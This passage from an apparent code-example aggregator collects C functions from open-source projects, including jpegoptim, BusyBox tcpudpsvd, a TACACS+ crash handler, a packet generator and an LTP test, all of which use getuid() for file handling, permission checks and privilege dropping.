		       "%sjpegoptim-%d-%d.%d.tmp", tmpdir, (int)getuid(), (int)getpid(),time(NULL));
	    tmpfd=0;
	    if ((outfile=fopen(tmpfilename,"wb"))==NULL) 
#endif
	      fatal("error opening temporary file: %s",tmpfilename);
	    outfname=tmpfilename;
	  }

	  if (verbose_mode > 1 && !quiet_mode) 
	    fprintf(LOG_FH,"writing %lu bytes to file: %s\n",
		    (long unsigned int)outbuffersize, outfname);
	  if (fwrite(outbuffer,outbuffersize,1,outfile) != 1)
	    fatal("write failed to file: %s", outfname);
	  fclose(outfile);
	}

	if (outfname) {
	  
	  if (preserve_mode) {
	    /* preserve file modification time */
	    struct utimbuf time_save;
	    time_save.actime=file_stat.st_atime;
	    time_save.modtime=file_stat.st_mtime;
	    if (utime(outfname,&time_save) != 0) 
	      warn("failed to reset output file time/date");
	  }

	  if (preserve_perms && !dest) {
	    /* original file was already replaced, remove backup... */
	    if (delete_file(tmpfilename))
	      warn("failed to remove backup file: %s",tmpfilename);
	  } else {
	    /* make temp file to be the original file... */

	    /* preserve file mode */
	    if (chmod(outfname,(file_stat.st_mode & 0777)) != 0) 
	      warn("failed to set output file mode"); 

	    /* preserve file group (and owner if run by root) */
	    if (chown(outfname,
		      (geteuid()==0 ? file_stat.st_uid : -1),
		      file_stat.st_gid) != 0)
	      warn("failed to reset output file group/owner");

	    if (verbose_mode > 1 && !quiet_mode) 
	      fprintf(LOG_FH,"renaming: %s to %s\n",outfname,newname);
	    if (rename_file(outfname,newname)) fatal("cannot rename temp file");
	  }
	}
   } else {
     if (!quiet_mode || csv) fprintf(LOG_FH,csv ? "skipped\n" : "skipped.\n");
   }
   

  } while (++i<argc && !stdin_mode);


  if (totals_mode && !quiet_mode)
    fprintf(LOG_FH,"Average ""compression"" (%ld files): %0.2f%% (%0.0fk)\n",
	    average_count, average_rate/average_count, total_save);
  jpeg_destroy_decompress(&dinfo);
  jpeg_destroy_compress(&cinfo);

  return (decompress_err_count > 0 || compress_err_count > 0 ? 1 : 0);;
}
示例#24
0
static int check_perm(const char **mntp, struct stat *stbuf, int *mountpoint_fd)
{
	int res;
	const char *mnt = *mntp;
	const char *origmnt = mnt;

	res = lstat(mnt, stbuf);
	if (res == -1) {
		fprintf(stderr, "%s: failed to access mountpoint %s: %s\n",
			progname, mnt, strerror(errno));
		return -1;
	}

	/* No permission checking is done for root */
	if (getuid() == 0)
		return 0;

	if (S_ISDIR(stbuf->st_mode)) {
		res = chdir(mnt);
		if (res == -1) {
			fprintf(stderr,
				"%s: failed to chdir to mountpoint: %s\n",
				progname, strerror(errno));
			return -1;
		}
		mnt = *mntp = ".";
		res = lstat(mnt, stbuf);
		if (res == -1) {
			fprintf(stderr,
				"%s: failed to access mountpoint %s: %s\n",
				progname, origmnt, strerror(errno));
			return -1;
		}

		if ((stbuf->st_mode & S_ISVTX) && stbuf->st_uid != getuid()) {
			fprintf(stderr, "%s: mountpoint %s not owned by user\n",
				progname, origmnt);
			return -1;
		}

		res = access(mnt, W_OK);
		if (res == -1) {
			fprintf(stderr, "%s: user has no write access to mountpoint %s\n",
				progname, origmnt);
			return -1;
		}
	} else if (S_ISREG(stbuf->st_mode)) {
		static char procfile[256];
		*mountpoint_fd = open(mnt, O_WRONLY);
		if (*mountpoint_fd == -1) {
			fprintf(stderr, "%s: failed to open %s: %s\n",
				progname, mnt, strerror(errno));
			return -1;
		}
		res = fstat(*mountpoint_fd, stbuf);
		if (res == -1) {
			fprintf(stderr,
				"%s: failed to access mountpoint %s: %s\n",
				progname, mnt, strerror(errno));
			return -1;
		}
		if (!S_ISREG(stbuf->st_mode)) {
			fprintf(stderr,
				"%s: mountpoint %s is no longer a regular file\n",
				progname, mnt);
			return -1;
		}

		sprintf(procfile, "/proc/self/fd/%i", *mountpoint_fd);
		*mntp = procfile;
	} else {
		fprintf(stderr,
			"%s: mountpoint %s is not a directory or a regular file\n",
			progname, mnt);
		return -1;
	}


	return 0;
}
JSBool systemExecute(JSContext *cx, JSObject *obj, uintN argc, jsval *argv, jsval *rval)
{// begin systemExecute
	// default return value
	*rval = INT_TO_JSVAL(-1);

	if(argc != 3)
		return JS_FALSE;
	if(JSVAL_IS_STRING(argv[0]) == false || JSVAL_IS_OBJECT(argv[1]) == false || JSVAL_IS_BOOLEAN(argv[2]) == false)
		return JS_FALSE;

	char *pExecutable = JS_GetStringBytes(JSVAL_TO_STRING(argv[0]));
	JSObject *pArgs = JSVAL_TO_OBJECT(argv[1]);
	bool bWait = JSVAL_TO_BOOLEAN(argv[2]);
	int status = 0;
	jsuint nArgsLength = 0;
	jsval jsValue;
	struct stat sbFileInfo;

	if(JS_IsArrayObject(cx, pArgs) == false)
		return JS_FALSE;

	JS_GetArrayLength(cx,pArgs,&nArgsLength);
	char **args = new char *[JSVAL_TO_INT(nArgsLength)+2];
	args[0] = pExecutable;
	args[JSVAL_TO_INT(nArgsLength)+1] = NULL;

	for(jsuint i = 1;i <= nArgsLength;i++)
	{
		if(JS_GetElement(cx, pArgs, i, &jsValue) == JS_FALSE)
		{// begin failure to get item
			JS_ReportError(cx, "exec() JS_GetElement failed to get an array item.");
			return JS_FALSE;
		}// end failure to get item
		args[JSVAL_TO_INT(i)] = JS_GetStringBytes(JSVAL_TO_STRING(jsValue));
	}
	if(getuid() == 0)
	{// begin running as root
		JS_ReportError(cx, "exec() disallowed while running as root.");
		return JS_FALSE;
	}// end running as root
	if(stat(pExecutable , &sbFileInfo) != 0)
	{// begin can't stat file
		JS_ReportError(cx, "exec() Can't stat \"%s\" errno(%i).", pExecutable, errno);
		return JS_FALSE;
	}// end can't stat file
	if((sbFileInfo.st_mode & S_ISUID) == S_ISUID || (sbFileInfo.st_mode & S_ISGID) == S_ISGID)
	{// begin setuid/setgid files disallowed
		JS_ReportError(cx, "exec() disallowed execution of \"%s\" since it is a setuid/setgid file.", pExecutable);
		return JS_FALSE;
	}// end setuid/setgid files disallowed

        enterLock();
	// clear file descriptor table of forked process and fork
#if defined( __linux__) || defined(__macosx__) || defined(__APPLE__)
	pid_t pidRtn = fork();
#elif defined(__FreeBSD__) || defined(__OpenBSD__)
	pid_t pidRtn = rfork(RFPROC|RFCFDG);
#endif
	if(pidRtn == 0)
	{// begin child process
#if defined( __linux__) || defined(__macosx__) || defined(__APPLE__)
		close(STDIN_FILENO);
		close(STDOUT_FILENO);
		close(STDERR_FILENO);
#endif
		char **pEnv = environ;
		//char *pEnv[] = {NULL};
		execve(pExecutable,args,pEnv);
		printf("Error: execve failure errno(%d)\n",errno);
		_exit(errno);
	}// end child process
	else if(bWait && pidRtn != -1)
	{// begin wait for execution to finish
		printf("Waiting on pid %d...",pidRtn);
		do
		{// begin wait for child
			waitpid(pidRtn,&status,WUNTRACED);
		}// end wait for child
		while(WIFEXITED(status) == false && WIFSIGNALED(status) == false);
		printf("Done...\n");
	}// end wait for execution to finish
	else if(pidRtn == -1)
	{// begin rfork failure
		printf("Error: execve failure errno(%d)\n",errno);
	}// end rfork failure
        leaveLock();

	// cleanup
	delete []args;
	if(pidRtn != -1)
		*rval = INT_TO_JSVAL(WEXITSTATUS(status));	// success return child's exit status
	else
		*rval = INT_TO_JSVAL(-1);	// failure
	return JS_TRUE;
}// end systemExecute
示例#26
0
int tcpudpsvd_main(int argc UNUSED_PARAM, char **argv)
{
	char *str_C, *str_t;
	char *user;
	struct hcc *hccp;
	const char *instructs;
	char *msg_per_host = NULL;
	unsigned len_per_host = len_per_host; /* gcc */
#ifndef SSLSVD
	struct bb_uidgid_t ugid;
#endif
	bool tcp;
	uint16_t local_port;
	char *preset_local_hostname = NULL;
	char *remote_hostname = remote_hostname; /* for compiler */
	char *remote_addr = remote_addr; /* for compiler */
	len_and_sockaddr *lsa;
	len_and_sockaddr local, remote;
	socklen_t sa_len;
	int pid;
	int sock;
	int conn;
	unsigned backlog = 20;
	unsigned opts;

	INIT_G();

	tcp = (applet_name[0] == 't');

	/* 3+ args, -i at most once, -p implies -h, -v is counter, -b N, -c N */
	opt_complementary = "-3:i--i:ph:vv:b+:c+";
#ifdef SSLSVD
	opts = getopt32(argv, "+c:C:i:x:u:l:Eb:hpt:vU:/:Z:K:",
		&cmax, &str_C, &instructs, &instructs, &user, &preset_local_hostname,
		&backlog, &str_t, &ssluser, &root, &cert, &key, &verbose
	);
#else
	/* "+": stop on first non-option */
	opts = getopt32(argv, "+c:C:i:x:u:l:Eb:hpt:v",
		&cmax, &str_C, &instructs, &instructs, &user, &preset_local_hostname,
		&backlog, &str_t, &verbose
	);
#endif
	if (opts & OPT_C) { /* -C n[:message] */
		max_per_host = bb_strtou(str_C, &str_C, 10);
		if (str_C[0]) {
			if (str_C[0] != ':')
				bb_show_usage();
			msg_per_host = str_C + 1;
			len_per_host = strlen(msg_per_host);
		}
	}
	if (max_per_host > cmax)
		max_per_host = cmax;
	if (opts & OPT_u) {
		xget_uidgid(&ugid, user);
	}
#ifdef SSLSVD
	if (opts & OPT_U) ssluser = optarg;
	if (opts & OPT_slash) root = optarg;
	if (opts & OPT_Z) cert = optarg;
	if (opts & OPT_K) key = optarg;
#endif
	argv += optind;
	if (!argv[0][0] || LONE_CHAR(argv[0], '0'))
		argv[0] = (char*)"0.0.0.0";

	/* Per-IP flood protection is not thought-out for UDP */
	if (!tcp)
		max_per_host = 0;

	bb_sanitize_stdio(); /* fd# 0,1,2 must be opened */

#ifdef SSLSVD
	sslser = user;
	client = 0;
	if ((getuid() == 0) && !(opts & OPT_u)) {
		xfunc_exitcode = 100;
		bb_error_msg_and_die(bb_msg_you_must_be_root);
	}
	if (opts & OPT_u)
		if (!uidgid_get(&sslugid, ssluser, 1)) {
			if (errno) {
				bb_perror_msg_and_die("can't get user/group: %s", ssluser);
			}
			bb_error_msg_and_die("unknown user/group %s", ssluser);
		}
	if (!cert) cert = "./cert.pem";
	if (!key) key = cert;
	if (matrixSslOpen() < 0)
		fatal("can't initialize ssl");
	if (matrixSslReadKeys(&keys, cert, key, 0, ca) < 0) {
		if (client)
			fatal("can't read cert, key, or ca file");
		fatal("can't read cert or key file");
	}
	if (matrixSslNewSession(&ssl, keys, 0, SSL_FLAGS_SERVER) < 0)
		fatal("can't create ssl session");
#endif

	sig_block(SIGCHLD);
	signal(SIGCHLD, sig_child_handler);
	bb_signals(BB_FATAL_SIGS, sig_term_handler);
	signal(SIGPIPE, SIG_IGN);

	if (max_per_host)
		ipsvd_perhost_init(cmax);

	local_port = bb_lookup_port(argv[1], tcp ? "tcp" : "udp", 0);
	lsa = xhost2sockaddr(argv[0], local_port);
	argv += 2;

	sock = xsocket(lsa->u.sa.sa_family, tcp ? SOCK_STREAM : SOCK_DGRAM, 0);
	setsockopt_reuseaddr(sock);
	sa_len = lsa->len; /* I presume sockaddr len stays the same */
	xbind(sock, &lsa->u.sa, sa_len);
	if (tcp) {
		xlisten(sock, backlog);
		close_on_exec_on(sock);
	} else { /* udp: needed for recv_from_to to work: */
		socket_want_pktinfo(sock);
	}
	/* ndelay_off(sock); - it is the default I think? */

#ifndef SSLSVD
	if (opts & OPT_u) {
		/* drop permissions */
		xsetgid(ugid.gid);
		xsetuid(ugid.uid);
	}
#endif

	if (verbose) {
		char *addr = xmalloc_sockaddr2dotted(&lsa->u.sa);
		if (opts & OPT_u)
			bb_error_msg("listening on %s, starting, uid %u, gid %u", addr,
				(unsigned)ugid.uid, (unsigned)ugid.gid);
		else
			bb_error_msg("listening on %s, starting", addr);
		free(addr);
	}

	/* Main accept() loop */

 again:
	hccp = NULL;

	while (cnum >= cmax)
		wait_for_any_sig(); /* expecting SIGCHLD */

	/* Accept a connection to fd #0 */
 again1:
	close(0);
 again2:
	sig_unblock(SIGCHLD);
	local.len = remote.len = sa_len;
	if (tcp) {
		conn = accept(sock, &remote.u.sa, &remote.len);
	} else {
		/* In case recv_from_to won't be able to recover local addr.
		 * Also sets port - recv_from_to is unable to do it. */
		local = *lsa;
		conn = recv_from_to(sock, NULL, 0, MSG_PEEK,
				&remote.u.sa, &local.u.sa, sa_len);
	}
	sig_block(SIGCHLD);
	if (conn < 0) {
		if (errno != EINTR)
			bb_perror_msg(tcp ? "accept" : "recv");
		goto again2;
	}
	xmove_fd(tcp ? conn : sock, 0);

	if (max_per_host) {
		/* Drop connection immediately if cur_per_host > max_per_host
		 * (minimizing load under SYN flood) */
		remote_addr = xmalloc_sockaddr2dotted_noport(&remote.u.sa);
		cur_per_host = ipsvd_perhost_add(remote_addr, max_per_host, &hccp);
		if (cur_per_host > max_per_host) {
			/* ipsvd_perhost_add detected that max is exceeded
			 * (and did not store ip in connection table) */
			free(remote_addr);
			if (msg_per_host) {
				/* don't block or test for errors */
				send(0, msg_per_host, len_per_host, MSG_DONTWAIT);
			}
			goto again1;
		}
		/* NB: remote_addr is not leaked, it is stored in conn table */
	}

	if (!tcp) {
		/* Voodoo magic: making udp sockets each receive its own
		 * packets is not trivial, and I still not sure
		 * I do it 100% right.
		 * 1) we have to do it before fork()
		 * 2) order is important - is it right now? */

		/* Open new non-connected UDP socket for further clients... */
		sock = xsocket(lsa->u.sa.sa_family, SOCK_DGRAM, 0);
		setsockopt_reuseaddr(sock);
		/* Make plain write/send work for old socket by supplying default
		 * destination address. This also restricts incoming packets
		 * to ones coming from this remote IP. */
		xconnect(0, &remote.u.sa, sa_len);
	/* hole? at this point we have no wildcard udp socket...
	 * can this cause clients to get "port unreachable" icmp?
	 * Yup, time window is very small, but it exists (is it?) */
		/* ..."open new socket", continued */
		xbind(sock, &lsa->u.sa, sa_len);
		socket_want_pktinfo(sock);

		/* Doesn't work:
		 * we cannot replace fd #0 - we will lose pending packet
		 * which is already buffered for us! And we cannot use fd #1
		 * instead - it will "intercept" all following packets, but child
		 * does not expect data coming *from fd #1*! */
#if 0
		/* Make it so that local addr is fixed to localp->u.sa
		 * and we don't accidentally accept packets to other local IPs. */
		/* NB: we possibly bind to the _very_ same_ address & port as the one
		 * already bound in parent! This seems to work in Linux.
		 * (otherwise we can move socket to fd #0 only if bind succeeds) */
		close(0);
		set_nport(localp, htons(local_port));
		xmove_fd(xsocket(localp->u.sa.sa_family, SOCK_DGRAM, 0), 0);
		setsockopt_reuseaddr(0); /* crucial */
		xbind(0, &localp->u.sa, localp->len);
#endif
	}

	pid = vfork();
	if (pid == -1) {
		bb_perror_msg("vfork");
		goto again;
	}

	if (pid != 0) {
		/* Parent */
		cnum++;
		if (verbose)
			connection_status();
		if (hccp)
			hccp->pid = pid;
		/* clean up changes done by vforked child */
		undo_xsetenv();
		goto again;
	}

	/* Child: prepare env, log, and exec prog */

	{ /* vfork alert! every xmalloc in this block should be freed! */
		char *local_hostname = local_hostname; /* for compiler */
		char *local_addr = NULL;
		char *free_me0 = NULL;
		char *free_me1 = NULL;
		char *free_me2 = NULL;

		if (verbose || !(opts & OPT_E)) {
			if (!max_per_host) /* remote_addr is not yet known */
				free_me0 = remote_addr = xmalloc_sockaddr2dotted(&remote.u.sa);
			if (opts & OPT_h) {
				free_me1 = remote_hostname = xmalloc_sockaddr2host_noport(&remote.u.sa);
				if (!remote_hostname) {
					bb_error_msg("can't look up hostname for %s", remote_addr);
					remote_hostname = remote_addr;
				}
			}
			/* Find out local IP peer connected to.
			 * Errors ignored (I'm not paranoid enough to imagine kernel
			 * which doesn't know local IP). */
			if (tcp)
				getsockname(0, &local.u.sa, &local.len);
			/* else: for UDP it is done earlier by parent */
			local_addr = xmalloc_sockaddr2dotted(&local.u.sa);
			if (opts & OPT_h) {
				local_hostname = preset_local_hostname;
				if (!local_hostname) {
					free_me2 = local_hostname = xmalloc_sockaddr2host_noport(&local.u.sa);
					if (!local_hostname)
						bb_error_msg_and_die("can't look up hostname for %s", local_addr);
				}
				/* else: local_hostname is not NULL, but is NOT malloced! */
			}
		}
		if (verbose) {
			pid = getpid();
			if (max_per_host) {
				bb_error_msg("concurrency %s %u/%u",
					remote_addr,
					cur_per_host, max_per_host);
			}
			bb_error_msg((opts & OPT_h)
				? "start %u %s-%s (%s-%s)"
				: "start %u %s-%s",
				pid,
				local_addr, remote_addr,
				local_hostname, remote_hostname);
		}

		if (!(opts & OPT_E)) {
			/* setup ucspi env */
			const char *proto = tcp ? "TCP" : "UDP";

#ifdef SO_ORIGINAL_DST
			/* Extract "original" destination addr:port
			 * from Linux firewall. Useful when you redirect
			 * an outbond connection to local handler, and it needs
			 * to know where it originally tried to connect */
			if (tcp && getsockopt(0, SOL_IP, SO_ORIGINAL_DST, &local.u.sa, &local.len) == 0) {
				char *addr = xmalloc_sockaddr2dotted(&local.u.sa);
				xsetenv_plain("TCPORIGDSTADDR", addr);
				free(addr);
			}
#endif
			xsetenv_plain("PROTO", proto);
			xsetenv_proto(proto, "LOCALADDR", local_addr);
			xsetenv_proto(proto, "REMOTEADDR", remote_addr);
			if (opts & OPT_h) {
				xsetenv_proto(proto, "LOCALHOST", local_hostname);
				xsetenv_proto(proto, "REMOTEHOST", remote_hostname);
			}
			//compat? xsetenv_proto(proto, "REMOTEINFO", "");
			/* additional */
			if (cur_per_host > 0) /* can not be true for udp */
				xsetenv_plain("TCPCONCURRENCY", utoa(cur_per_host));
		}
		free(local_addr);
		free(free_me0);
		free(free_me1);
		free(free_me2);
	}

	xdup2(0, 1);

	signal(SIGPIPE, SIG_DFL); /* this one was SIG_IGNed */
	/* Non-ignored signals revert to SIG_DFL on exec anyway */
	/*signal(SIGCHLD, SIG_DFL);*/
	sig_unblock(SIGCHLD);

#ifdef SSLSVD
	strcpy(id, utoa(pid));
	ssl_io(0, argv);
	bb_perror_msg_and_die("can't execute '%s'", argv[0]);
#else
	BB_EXECVP_or_die(argv);
#endif
}
示例#27
0
ssorecord_t *
ssorecord_open(const char *fname, size_t szrec, const char *mode)
{
    int rc;
    struct stat st;
    ssorecord_t *self;

    if ((rc = stat(fname, &st)) < 0) {
        syslog(LOG_ERR, "apache ssoauth: can not get file status %s", fname);
        goto errquit0;
    }
    if (st.st_size % szrec != 0) {
        syslog(LOG_ERR, "apache ssoauth: file(%s) size(%ld) wrong expect %% %d", fname, st.st_size, szrec);
        goto errquit0;
    }
    if (!(self = malloc(sizeof(ssorecord_t) + st.st_size + 8 * szrec))) {
        syslog(LOG_ERR, "apache ssoauth: can not malloc %ld size for ssorecord", sizeof(ssorecord_t) + st.st_size + 8 * szrec);
	goto errquit0;
    }
    if (!(self->fp = fopen(fname, mode))) {
        syslog(LOG_ERR, "apache ssoauth: can not open file(%s) with mode %s uid(%d) gid(%d)", fname, mode, getuid(), getgid());
        goto errquit1;
    }
    strncpy(self->mode, mode, sizeof(self->mode));
    self->szrec = szrec;
    self->numrec = st.st_size / szrec;
    self->maxrec = self->numrec + 8;
    self->start = (char *)(self + 1);
    if (fread(self->start, 1, st.st_size, self->fp) < st.st_size){
        syslog(LOG_ERR, "apache ssoauth: can not read file(%s)", fname);
        goto errquit2;
    }
    return self;
 errquit2:
    fclose(self->fp);
 errquit1:
    free(self);
 errquit0:
    return NULL;
}
示例#28
0
文件: sig_segv.c 项目: hydrix1/tacacs
void catchsegv(int sig __attribute__ ((unused)))
#endif
{
    char buf[1024];
    FILE *g;

    logmsg("Catched SIGSEGV");
    logmsg("Apologies ... this shouldn't have happened. Please verify that");
    logmsg("you are running the most current version, downloadable from");
    logmsg("    http://www.pro-bono-publico.de/projects/");
    logmsg("If the version on that site doesn't equal");
    logmsg("    " VERSION);
    logmsg("please download, compile, install and check if you're");
    logmsg("still seeing the crash. After all, this bug may be already fixed.");
    logmsg("If the issue persists even with the most recent version:");
    logmsg("Reconfigure with --debug, recompile and reinstall. Then send");
    logmsg("a bug report to the mailing-list at");
    logmsg("    [email protected]");
    logmsg("and include the backtraces.");
    logmsg("Please do NOT mail bug reports it to the private mail address of");
    logmsg("the author, unless you have a pretty good reason for doing so.");
    logmsg("Thank you.");

    snprintf(buf, sizeof(buf), "CRASHPID=%lu", (long unsigned) getpid());
    putenv(buf);

#ifdef HAVE_EXECINFO_H
    {
	void *array[40];
	int len = backtrace(array, 40);
	char **c = backtrace_symbols(array, len);
	logmsg("EXECINFO: backtrace start");
	while (len-- > 0)
	    logmsg("EXECINFO: %d %s", len, c[len]);
	logmsg("EXECINFO: backtrace end");
    }
#endif				/* HAVE_EXECINFO_H */

    if (!gdbcmd)
	gdbcmd = "(printf 'bt\nq\n';sleep 3)|gdb -n -q -p $CRASHPID 2>/dev/null";
    g = popen(gdbcmd, "r");
    if (g) {
	logmsg("GDB: running: \"%s\"", gdbcmd);
	logmsg("GDB: backtrace start");
	while (fgets(buf, sizeof(buf), g))
	    logmsg("GDB: %s", buf);
	fclose(g);
	logmsg("GDB: backtrace end");
    }
#ifdef EXC_BAD_INSTRUCTION
    signal(EXC_BAD_INSTRUCTION, SIG_DFL);
#endif
#ifdef SIGBUS
    signal(SIGBUS, SIG_DFL);
#endif
    signal(SIGSEGV, SIG_DFL);

    if (coredumpdir) {
	struct rlimit rlim;
	char cdf[PATH_MAX];

	snprintf(cdf, sizeof(cdf), "%s/core.%.8lx", coredumpdir, (u_long) time(NULL));

	seteuid(getuid());
	setegid(getgid());

	if (getrlimit(RLIMIT_CORE, &rlim)) {
	    logerr("getrlimit (%s:%d)", __FILE__, __LINE__);
	    exit(EX_OSERR);
	}

	rlim.rlim_cur = rlim.rlim_max;
	setrlimit(RLIMIT_CORE, &rlim);

	if (chdir(coredumpdir)) {
	    logerr("SIGSEGV: chdir(%s) (%s:%d)", coredumpdir, __FILE__, __LINE__);
	    exit(EX_NOPERM);
	}

	rename("core", cdf);
	logmsg("SIGSEGV: Trying to dump core in %s", coredumpdir);

	if (gcorecmd) {
	    g = popen(gcorecmd, "r");
	    if (g) {
		while (fgets(buf, sizeof(buf), g))
		    logmsg("GCORE: %s", buf);
		fclose(g);
	    }
	} else
	    abort();
    }
    exit(EX_UNAVAILABLE);
}
示例#29
0
int main(int argc, char **argv)
{
	bool slow = false, invoke_cpp = false, reseed = true, cpustats = true;
	bool prio_high = false, set_irq_aff = true;
	int c, opt_index, vals[4] = {0}, irq;
	uint64_t gap = 0;
	unsigned int i, j;
	char *confname = NULL, *ptr;
	unsigned long cpus_tmp, orig_num = 0;
	unsigned long long tx_packets, tx_bytes;
	struct ctx ctx;

	fmemset(&ctx, 0, sizeof(ctx));
	ctx.cpus = get_number_cpus_online();
	ctx.uid = getuid();
	ctx.gid = getgid();
	ctx.qdisc_path = false;

	while ((c = getopt_long(argc, argv, short_options, long_options,
				&opt_index)) != EOF) {
		switch (c) {
		case 'h':
			help();
			break;
		case 'v':
			version();
			break;
		case 'C':
			cpustats = false;
			break;
		case 'e':
			example();
			break;
		case 'p':
			invoke_cpp = true;
			break;
		case 'V':
			ctx.verbose = true;
			break;
		case 'P':
			cpus_tmp = strtoul(optarg, NULL, 0);
			if (cpus_tmp > 0 && cpus_tmp < ctx.cpus)
				ctx.cpus = cpus_tmp;
			break;
		case 'd':
		case 'o':
			ctx.device = xstrndup(optarg, IFNAMSIZ);
			break;
		case 'H':
			prio_high = true;
			break;
		case 'Q':
			set_irq_aff = false;
			break;
		case 'q':
			ctx.qdisc_path = true;
			break;
		case 'r':
			ctx.rand = true;
			break;
		case 's':
			slow = true;
			ctx.cpus = 1;
			ctx.smoke_test = true;
			ctx.rhost = xstrdup(optarg);
			break;
		case 'R':
			ctx.rfraw = true;
			break;
		case 'J':
			ctx.jumbo_support = true;
			break;
		case 'c':
		case 'i':
			confname = xstrdup(optarg);
			if (!strncmp("-", confname, strlen("-")))
				ctx.cpus = 1;
			break;
		case 'u':
			ctx.uid = strtoul(optarg, NULL, 0);
			ctx.enforce = true;
			break;
		case 'g':
			ctx.gid = strtoul(optarg, NULL, 0);
			ctx.enforce = true;
			break;
		case 'k':
			ctx.kpull = strtoul(optarg, NULL, 0);
			break;
		case 'E':
			seed = strtoul(optarg, NULL, 0);
			reseed = false;
			break;
		case 'n':
			orig_num = strtoul(optarg, NULL, 0);
			ctx.num = orig_num;
			break;
		case 't':
			slow = true;
			ptr = optarg;
			gap = strtoul(optarg, NULL, 0);

			for (j = i = strlen(optarg); i > 0; --i) {
				if (!isdigit(optarg[j - i]))
					break;
				ptr++;
			}

			if (!strncmp(ptr, "ns", strlen("ns"))) {
				ctx.gap.tv_sec = gap / 1000000000;
				ctx.gap.tv_nsec = gap % 1000000000;
			} else if (*ptr == '\0' || !strncmp(ptr, "us", strlen("us"))) {
				/*  Default to microseconds for backwards
				 *  compatibility if no postfix is given.
				 */
				ctx.gap.tv_sec = gap / 1000000;
				ctx.gap.tv_nsec = (gap % 1000000) * 1000;
			} else if (!strncmp(ptr, "ms", strlen("ms"))) {
				ctx.gap.tv_sec = gap / 1000;
				ctx.gap.tv_nsec = (gap % 1000) * 1000000;
			} else if (!strncmp(ptr, "s", strlen("s"))) {
				ctx.gap.tv_sec = gap;
				ctx.gap.tv_nsec = 0;
			} else
				panic("Syntax error in time param!\n");

			if (gap > 0)
				/* Fall back to single core to not mess up
				 * correct timing. We are slow anyway!
				 */
				ctx.cpus = 1;
			break;
		case 'S':
			ptr = optarg;
			ctx.reserve_size = 0;

			for (j = i = strlen(optarg); i > 0; --i) {
				if (!isdigit(optarg[j - i]))
					break;
				ptr++;
			}

			if (!strncmp(ptr, "KiB", strlen("KiB")))
				ctx.reserve_size = 1 << 10;
			else if (!strncmp(ptr, "MiB", strlen("MiB")))
				ctx.reserve_size = 1 << 20;
			else if (!strncmp(ptr, "GiB", strlen("GiB")))
				ctx.reserve_size = 1 << 30;
			else
				panic("Syntax error in ring size param!\n");

			ctx.reserve_size *= strtol(optarg, NULL, 0);
			break;
		case '?':
			switch (optopt) {
			case 'd':
			case 'c':
			case 'n':
			case 'S':
			case 's':
			case 'P':
			case 'o':
			case 'E':
			case 'i':
			case 'k':
			case 'u':
			case 'g':
			case 't':
				panic("Option -%c requires an argument!\n",
				      optopt);
			default:
				if (isprint(optopt))
					printf("Unknown option character `0x%X\'!\n", optopt);
				die();
			}
		default:
			break;
		}
	}

	if (argc < 5)
		help();
	if (ctx.device == NULL)
		panic("No networking device given!\n");
	if (confname == NULL)
		panic("No configuration file given!\n");
	if (device_mtu(ctx.device) == 0)
		panic("This is no networking device!\n");

	register_signal(SIGINT, signal_handler);
	register_signal(SIGQUIT, signal_handler);
	register_signal(SIGTERM, signal_handler);
	register_signal(SIGHUP, signal_handler);
	register_signal_f(SIGALRM, timer_elapsed, SA_SIGINFO);

	if (prio_high) {
		set_proc_prio(-20);
		set_sched_status(SCHED_FIFO, sched_get_priority_max(SCHED_FIFO));
	}

	set_system_socket_memory(vals, array_size(vals));
	xlockme();

	if (ctx.rfraw) {
		ctx.device_trans = xstrdup(ctx.device);
		xfree(ctx.device);

		enter_rfmon_mac80211(ctx.device_trans, &ctx.device);
		sleep(0);
	}

	irq = device_irq_number(ctx.device);
	if (set_irq_aff)
		device_set_irq_affinity_list(irq, 0, ctx.cpus - 1);

	stats = setup_shared_var(ctx.cpus);

	for (i = 0; i < ctx.cpus; i++) {
		pid_t pid = fork();

		switch (pid) {
		case 0:
			if (reseed)
				seed = generate_srand_seed();
			srand(seed);

			cpu_affinity(i);
			main_loop(&ctx, confname, slow, i, invoke_cpp, orig_num);

			goto thread_out;
		case -1:
			panic("Cannot fork processes!\n");
		}
	}

	for (i = 0; i < ctx.cpus; i++) {
		int status;

		wait(&status);
		if (WEXITSTATUS(status) == EXIT_FAILURE)
			die();
	}

	if (ctx.rfraw)
		leave_rfmon_mac80211(ctx.device);

	reset_system_socket_memory(vals, array_size(vals));

	for (i = 0, tx_packets = tx_bytes = 0; i < ctx.cpus; i++) {
		while ((__get_state(i) & CPU_STATS_STATE_RES) == 0)
			sched_yield();

		tx_packets += stats[i].tx_packets;
		tx_bytes   += stats[i].tx_bytes;
	}

	fflush(stdout);
	printf("\n");
	printf("\r%12llu packets outgoing\n", tx_packets);
	printf("\r%12llu bytes outgoing\n", tx_bytes);
	for (i = 0; cpustats && i < ctx.cpus; i++) {
		printf("\r%12lu sec, %lu usec on CPU%d (%llu packets)\n",
		       stats[i].tv_sec, stats[i].tv_usec, i,
		       stats[i].tx_packets);
	}

thread_out:
	xunlockme();
	destroy_shared_var(stats, ctx.cpus);
	if (set_irq_aff)
		device_restore_irq_affinity_list();

	free(ctx.device);
	free(ctx.device_trans);
	free(ctx.rhost);
	free(confname);

	return 0;
}
示例#30
0
文件: mknod02.c 项目: AbhiramiP/ltp
/*
 * setup(void) - performs all ONE TIME setup for this test.
 *	Exit the test program on receipt of unexpected signals.
 *	Create a temporary directory used to hold test directories created
 *	and change the directory to it.
 *	Verify that pid of process executing the test is root.
 *	Create a test directory on temporary directory and set the ownership
 *	of test directory to ltp user and process.
 *	Set the effective uid/gid of the process to that of ltp user.
 */
void setup(void)
{
	tst_require_root(NULL);

	/* Capture unexpected signals */
	tst_sig(NOFORK, DEF_HANDLER, cleanup);

	TEST_PAUSE;

	/* Make a temp dir and cd to it */
	tst_tmpdir();

	/* fix permissions on the tmpdir */
	if (chmod(".", 0711) != 0) {
		tst_brkm(TBROK, cleanup, "chmod() failed");
	}

	/* Save the real user id of the current test process */
	save_myuid = getuid();

	/* Save the process id of the current test process */
	mypid = getpid();

	/* Get the node name to be created in the test */
	sprintf(node_name, TNODE, mypid);

	/* Get the uid/gid of ltpuser */
	if ((user1 = getpwnam(LTPUSER)) == NULL) {
		tst_brkm(TBROK | TERRNO, cleanup,
			 "Couldn't determine if %s was in /etc/passwd",
			 LTPUSER);
	}
	user1_uid = user1->pw_uid;
	group1_gid = user1->pw_gid;

	/* Get the effective group id of the test process */
	group2_gid = getegid();

	/*
	 * Create a test directory under temporary directory with the
	 * specified mode permissions, with uid/gid set to that of guest
	 * user and the test process.
	 */
	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
